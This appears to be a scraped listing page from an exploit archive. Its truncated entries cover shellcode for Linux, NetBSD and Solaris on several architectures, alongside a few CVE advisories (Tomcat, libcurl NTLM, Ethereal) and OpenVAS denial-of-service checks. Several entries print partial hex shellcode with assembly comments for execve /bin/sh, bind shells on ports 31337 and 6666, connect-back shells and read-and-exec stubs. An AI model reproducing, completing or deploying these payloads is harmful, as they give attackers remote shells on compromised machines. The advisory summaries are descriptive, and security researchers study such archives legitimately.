linux/x86 execve(/bin/sh) / PUSH - 23 bytes

Exploit for linux/x86 platform in category shellcode =========================================== linux/x86 execve/bin/sh / PUSH - 23 bytes =========================================== / linux/x86 execve"/bin/sh", "/bin/sh", NULL / PUSH - 23 bytes - izik / char shellcode = "\x6a\x0b" // push $0xb...

linux/x86 cat /dev/urandom > /dev/console, just for kicks - 63 bytes

Exploit for linux/x86 platform in category shellcode ==================================================================== linux/x86 cat /dev/urandom /dev/console, just for kicks - 63 bytes ==================================================================== / linux/x86 cat /dev/urandom...

linux/x86 Bind /bin/sh to 31337/tcp 80 bytes

linux/x86 Bind /bin/sh to 31337/tcp 80 bytes. Shellcode exploit for linx86 platform / linux/x86 bind '/bin/sh' to 31337/tcp - 80 bytes - izik / char shellcode = "\x6a\x66" // push $0x66 "\x58" // pop %eax "\x99" // cltd "\x6a\x01" // push $0x1 "\x5b" // pop %ebx "\x52" // push %edx "\x53" // push...

CVE-2005-4836

The HTTP/1.1 connector in Apache Tomcat 4.1.15 through 4.1.40 does not reject NULL bytes in a URL when allowLinking is configured, which allows remote attackers to read JSP source files and obtain sensitive information...

AWF (Adaptive Website Framework) vuln.

AWF Adaptive Website Framework vuln. Vuln. discovered by : r0t Date: 17 dec. 2005 orginal advisory:http://pridels.blogspot.com/2005/12/awf-adaptive-website-framework-vuln.html vendor:http://www.awf-cms.org affected version:2.10 and prior Product Description: AWF Adaptive Website Framework by Liqu...

netbsd/x86 callback shellcode port 6666 83 bytes

netbsd/x86 callback shellcode port 6666 83 bytes. Shellcode exploit for netbsdx86 platform / minervini at neuralnoise dot com c 2005 NetBSD/i386 2.0, callback shellcode port 6666; / include include include char scode = "\x31\xc0" // xor %eax,%eax "\x31\xc9" // xor %ecx,%ecx "\x50" // push %eax...

solaris/sparc portbind port 6666 240 bytes

solaris/sparc portbind port 6666 240 bytes. Shellcode exploit for solarissparc platform / [email protected] portbind shellcode full description of how it was done and defines at http://www.telegenetic.net/sparc-shellcode.htm / char shellcode= "\x9A\x1A\x40\x09" / xor %o1, %o1, %o5 /...

solaris/sparc portbind (port 6666) 240 bytes

No description provided by source. / [email protected] portbind shellcode full description of how it was done and defines at http://www.telegenetic.net/sparc-shellcode.htm / char shellcode= "\x9A\x1A\x40\x09" / xor %o1, %o1, %o5 / "\x90\x10\x20\x02" / mov PFINET, %o0 / "\x92\x10\x20\x02" / mo...

linux/PPC/x86 execve("/bin/sh",{"/bin/sh",NULL},NULL) 99 bytes

Exploit for multiple platform in category shellcode ============================================================== linux/PPC/x86 execve"/bin/sh","/bin/sh",NULL,NULL 99 bytes ============================================================== / - dual-linux.c - by email protected ripped from...

linux/PPC/x86 execve"/bin/sh",{"/bin/sh",NULL},NULL 99 bytes

linux/PPC/x86 execve"/bin/sh","/bin/sh",NULL,NULL 99 bytes. Shellcode exploits for multiple platform / - dual-linux.c - by [email protected] ripped from [email protected] ^-- much , rjohnson, Kaliman, capsyl, salvia, amnesia, arcanum, eazyass, loophole, my family and so any others...

linux/ppc - read & exec shellcode 32 bytes

linux/ppc read & exec shellcode 32 bytes. Shellcode exploit for linuxppc platform / readnexecppc-core.c by Charles Stevenson / char hellcode = / read0,stack,1028; stack; linux/ppc by core / "\x7c\x63\x1a\x79" / xor. r3,r3,r3 / "\x38\xa0\x04\x04" / li r5,1028 / "\x30\x05\xfb\xff" / addic r0,r5,-10...

linux/ppc connect back execve /bin/sh 240 bytes

Exploit for linux/ppc platform in category shellcode =============================================== linux/ppc connect back execve /bin/sh 240 bytes =============================================== / connect-core5.c by Charles Stevenson / char hellcode = / connect back & execve /bin/sh linux/ppc b...

linux/x86 dup20,0; dup20,1; dup20,2; 15 bytes

linux/x86 dup20,0; dup20,1; dup20,2; 15 bytes. Shellcode exploit for linx86 platform / dup2loop-core.c by Charles Stevenson I made this as a chunk you can paste in to make modular remote exploits. I usually combine this with an execve as the second stage of a read jmp %esp / char hellcode = /...

linux/x86 dup2(0,0); dup2(0,1); dup2(0,2); 15 bytes

Exploit for linux/x86 platform in category shellcode =================================================== linux/x86 dup20,0; dup20,1; dup20,2; 15 bytes =================================================== / dup2loop-core.c by Charles Stevenson I made this as a chunk you can paste in to make modular...

linux/mips - execve /bin/sh 56 bytes

linux/mips execve /bin/sh 56 bytes. Shellcode exploit for linuxmips platform / 56 bytes execve /bin/sh shellcode - linux-mipsel - by core [email protected] Note: For MIPS running in little-endian mode. Tested on a Cobalt Qube2 server running Linux 2.4.18 Greetz to bighawk... i couldn't get his exec...

linux/x86 _exit(1); 7 bytes

Exploit for linux/x86 platform in category shellcode =========================== linux/x86 exit1; 7 bytes =========================== / exit-core.c by Charles Stevenson I made this as a chunk you can paste in to make modular remote exploits. I use it when I need a process to exit cleanly. / char...

MSDTC denial of service by flooding with nul bytes

It was possible to crash the MSDTC service by sending 20200 nul bytes. OpenVAS Vulnerability Test $Id: msdtcdos.nasl 8023 2017-12-07 08:36:26Z teissa $ Description: MSDTC denial of service by flooding with nul bytes Authors: Michel Arboi Copyright: Copyright C 2002 Michel Arboi This program is fr...

TFTPD small overflow

The remote TFTP server dies when it receives a small UDP datagram. SPDX-FileCopyrightText: 2005 Josh Zlatin-Amishav Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only This plugin is just a...

security flaw

Buffer overflow vulnerability in the unicodetobytes in the Service Location Protocol srvloc dissector packet-srvloc.c in Ethereal allows remote attackers to execute arbitrary code via a srvloc packet with a modified length value...

CURL-CVE-2005-3185 NTLM Buffer Overflow

libcurl's NTLM function can overflow a stack-based buffer if given a too long username or domain name. This would happen if you enable NTLM authentication and either: A - pass in a username and domain name to libcurl that together are longer than 192 bytes B - allow libcurl to follow HTTP...